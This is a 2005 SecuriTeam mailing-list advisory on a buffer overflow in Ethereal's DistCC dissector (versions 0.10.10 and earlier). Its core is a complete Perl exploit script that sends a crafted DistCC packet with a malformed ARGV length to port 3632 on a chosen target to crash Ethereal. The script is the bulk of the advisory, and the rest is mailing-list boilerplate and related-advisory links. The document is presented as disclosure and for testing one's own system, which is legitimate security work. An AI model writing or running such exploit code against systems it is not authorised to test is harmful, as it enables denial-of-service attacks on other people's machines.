[EXPL] Ethereal DistCC Buffer Overflow (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 05/10/05

  • Next message: SecuriTeam: "[NT] Orenosv HTTP/FTP Server Multiple Buffer Overflows"
    To: list@securiteam.com
    Date: 10 May 2005 12:52:49 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Ethereal DistCC Buffer Overflow (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    As we reported in our previous article:
    <http://www.securiteam.com/securitynews/5AP0C00FPO.html> Ethereal DistCC
    Dissector Overflow, a vulnerability in Ethereal's DistCC dissector allows
    attackers to cause Ethereal to crash by overflowing an internal buffer
    used by Ethereal when it tries to handle DistCC related packets. The
    following exploit code can be used to test your system for the mentioned
    vulnerability.

    DETAILS

    Vulnerable Systems:
     * Ethereal version 0.10.10 and prior

    Immune Systems:
     * Ethereal version 0.10.11 or newer

    Exploit:
    #!/usr/bin/perl -w
    # Exploit generated by beSTORM on 2005-05-10 12:45
    # All Rights Reserved - Copyright (tm)

    use IO::Socket;
    use strict;

    my $target = shift;
    my $print_usage = 0;

    if (!$target)
    {
     usage();

     print "No target has been supplied, reverting to 192.168.1.52.\n";
     $target = "192.168.1.52";
    }

    print "Will attack $target.\n";
    my $target_port = 3632;

    my $packet =<<END;
    DIST00000001ARGC00000008ARGVFFFFFF00ccARGV00000002-gARGV00000003-O2ARGV00000005-WallARGV00000002-cARGV00000006main.cARGV00000002-oARGV00000006main.oDOTI0000001Bint main()\n{\n return(0);\n}\n
    END

    print "Sending: [$packet]\n";

    my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $target,
    PeerPort => "3632");

    unless ($remote) { die "cannot connect to distcc daemon on $target" }

    print $remote $packet;

    print "Done.\n";

    sub usage
    {
     if ($print_usage) { return; }
     $print_usage = 1;
     print ("#"x50);
     print "\n";
     print "# $0 [hostname]\n";
     print "# hostname\t-\tThe host the packet will be sent to.\n";
     print "\n";
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:storm@beyondsecurity.com>
    beSTORM.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NT] Orenosv HTTP/FTP Server Multiple Buffer Overflows"

    Relevant Pages

    • [UNIX] Trend Micro VirusWall Buffer Overflow in VSAPI Library
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... buffer overflow vulnerability in VSAPI library allows arbitrary code ... is called "vscan" which is set suid root by default. ... permissions and thus granted all local users the privilege to execute the ...
      (Securiteam)
    • [UNIX] SCO Multiple Local Buffer Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Local exploitation of a buffer overflow vulnerability in the ppp binary, ... allows attackers to gain root privileges. ...
      (Securiteam)
    • [NT] Microsoft Word 6.0/95 Document Converter Buffer Overflow (MS04-041)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... WordPad is "a word processing application that uses the MFC rich edit ... Remote exploitation of a buffer overflow vulnerability in Microsoft ... Microsoft Word format files into the Rich Text Format natively handled by ...
      (Securiteam)
    • [UNIX] Tikiwiki Command Injection and Arbitrary File Exposure Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Two security vulnerabilities have been recently discovered in Tikiwiki, ... Remote exploitation of an input validation vulnerability in Tikiwiki ... allows attackers to gain access to arbitrary files on the vulnerable ...
      (Securiteam)
    • [NT] Ipswitch Multiple Vulnerabilities (IMail IMAP LIST Command DoS, Collaboration Suite SMTP Format
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Ipswitch Multiple Vulnerabilities (IMail IMAP LIST Command DoS, ... Collaboration Suite SMTP Format String) ... Remote exploitation of a denial of service vulnerability in Ipswitch ...
      (Securiteam)

    Loading